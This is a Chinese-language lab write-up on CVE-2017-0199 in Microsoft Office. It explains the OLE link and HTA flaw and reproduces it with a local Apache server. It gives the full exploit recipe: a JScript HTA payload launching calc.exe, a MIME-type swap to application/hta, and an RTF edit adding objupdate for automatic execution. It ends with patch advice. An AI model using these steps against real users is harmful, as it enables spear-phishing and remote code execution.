1引言
1.1微软office漏洞背景
微软Office系统软件(Word/Excel/PowerPoint等),一直是电脑上最为常用的办公软件之一,在国内外都拥有大量的用户。另一方面,利用Office系列软件的漏洞进行网络攻击已经成为黑客惯用的手段,广泛运用于APT攻击,抓肉鸡,传播勒索病毒等。其中一种典型的攻击方式是“鱼叉攻击”:黑客将包含漏洞的文档伪装成为一个正常的Office文档,并精心构造文件名,然后投递到用户邮箱,如果用户不小心打开文档,恶意代码便会悄悄执行,用户完全没有感知。
另外,随着新版本的Office不断发布,微软逐渐停止了对于老版本Office的技术支持,包括提供安全更新。2017 年10月,微软就正式停止了对 Office 2007的技术支持。这本是软件生命周期中不可避免的事情,但对于使用Office 软件的用户来说,除非升级到更新的版本,否则将面临被黑客攻击的风险。然而,事实上目前仍有大量的用户选择不升级,而是继续使用老版本的Office软件。
1.2 CVE-2017-0199简介
FireEye检测到使用CVE-2017-0199漏洞的恶意Microsoft Office RTF文档,这是以前从未发现的漏洞。 CVE-2017-0199漏洞发布日期为2017年4月11号,受影响系统包括:
Microsoft office 2016;Microsoft office 2013;
Microsoft office 2010;Microsoft office 2007;
◆图1 漏洞修复统计图(图中数据时间截止2017年10月)
这个漏洞在网络上公开曝光的时长已经超过了6个月,黑客早已掌握该漏洞的利用技术,并发起了多起网络攻击;另一方面,微软在2017年4月份的安全更新中就发布了该漏洞的补丁,电脑管家也多次提醒用户修复该漏洞,但截止当前,仍然有超过 1/5的用户没有选择修复该漏洞。
2原理简单分析
2.1漏洞原理简单分析
该漏洞利用OFFICE OLE对象链接技术,将包裹的恶意链接对象嵌在文档中,OFFICE调用URL Moniker(COM对象)将恶意链接指向的HTA文件下载到本地, 当用户打开包含嵌入式漏洞的文档时,winword.exe 会向远程服务器发出 HTTP 请求,以检索恶意 HTA 文件,服务器返回的文件时一个带有嵌入式恶意脚本的假 RTF 文件,winword.exe 通过 COM 对象查找 application/hta 的文件处理程序,这会导致 Microsoft HTA 应用程序(mshta.exe),加载恶意攻击者下载并执行包含 PowerShell 命令的 Visual Basic 脚本。
2.2漏洞原理简单图解
◆图2 漏洞原理简图
2.3相关知识介绍
2.3.1 HTA介绍
HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。一般情况下,hta可以用vbscript与jscript编写,vbs功能更强大。 hta可以操作数据库,界面用html+css就可以实现,很方便写一些简单的应用。
2.3.2 OLE技术
OLE(Object Linking and Embedding,对象连接与嵌入)。是一种面向对象的技术,利用这种技术可开发可重复使用的软件组件(COM)。OLE不仅是桌面应用程序集成,而且还定义和实现了一种允许应用程序作为软件“对象”(数据集合和操作数据的函数)彼此进行“连接”的机制,这种连接机制和协议称为组件对象模型(Component Object Model),简称COM。OLE可以用来创建复合文档,复合文档包含了创建于不同源应用程序,有着不同类型的数据,因此它可以把文字、声音、图像、表格、应用程序等组合在一起。
3利用复现过程
3.1环境搭建
3.1.1 虚拟机搭建
搭建虚拟机(由于Win7所占空间较大,故采用Win XP),搭建后如图
◆图3 虚拟机环境搭建
3.1.2 Apache服务器与office搭建
Apache服务器采用php5.4.45,Microsoft office 采用Prefession 2010版本,
搭建后如图所示
◆图4 服务器搭建
3.2复现步骤
1.攻击者向目标用户发送一个嵌入了OLE2文件(对象链接)的Word文档。
2.当用户打开文档之后,winword.exe会向远程服务器发送一个HTTP请
求,并获取一个恶意HTA文件。
3.服务器返回的这个文件是一个伪造的RTF文件,其中嵌入了恶意脚本。
4.Winword.exe会通过一个COM对象来查询HTA文件处理器,而这一行为将会使微软HTA应用(mshta.exe)加载并执行恶意脚本。
3.3复现过程
1.web根目录下保存一个1.rtf文件,内容如下:
test789
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
2.确保apache配置文件conf/mime.types里面有rtf的content type项:
application/rtf rtf
1
3.用word生成一个空白文档,然后在其中插入一个对象。
◆图5 插入对象
4.选择由文件创建,输入web服务器上1.rtf的URL,选上“链接到文件”:
◆图6 链接到文件
5.生成一个有test789文字内嵌对象的文档,这是双击该对象只能以rtf文件方式打开对象,并不能执行hta脚本。因为生成对象的时候选中“链接到文件”,所以当打开对象的时候会去服务器上请求http://192.168.33.133/1.rtf来更新对象内容。
◆图7 生成内嵌对象文档
6.此时在apache配置文件conf/mime.types中把
application/rtf rtf
1
修改成:
application/hta rtf
1
7.把文件另保存成rtf格式:
◆图8 另存为rtf格式
8.用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:
◆图9 更改标签
把
{\object\objautlink\rsltpict
1
修改成:
{\object\objautlink\objupdate\rsltpict
1
重启apache后,清除IE缓存:
◆图10 清除浏览器缓存
10.保存文件再重新打开。此时无需用户交互就可直接运行hta脚本弹出计算器:
3.4复现结果
双击运行后自动弹出计算器
◆图11 复现结果
4防护方案
1.针对此漏洞,微软已经发布更新补丁。用户可以根据如下地址中的描述检查是否进行了对应的更新,如果没有,建议安装对应的补丁程序。
(https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199)
2.安装金山V8+等终端防护类软件。
5总结
微软提供的COM/OLE技术犹如一把双刃剑,在为开发人员提供方便的同时,也为攻击者进行恶意攻击提供了机会。此次漏洞便是一个很好的说明。攻击者巧妙的利用了OLE link object、URL Moniker和Windows在执行HTA文件时会匹配搜索数据流的特性,构造了包含恶意链接的RTF文档,绕过大多数的防御措施,实现自己的恶意行为。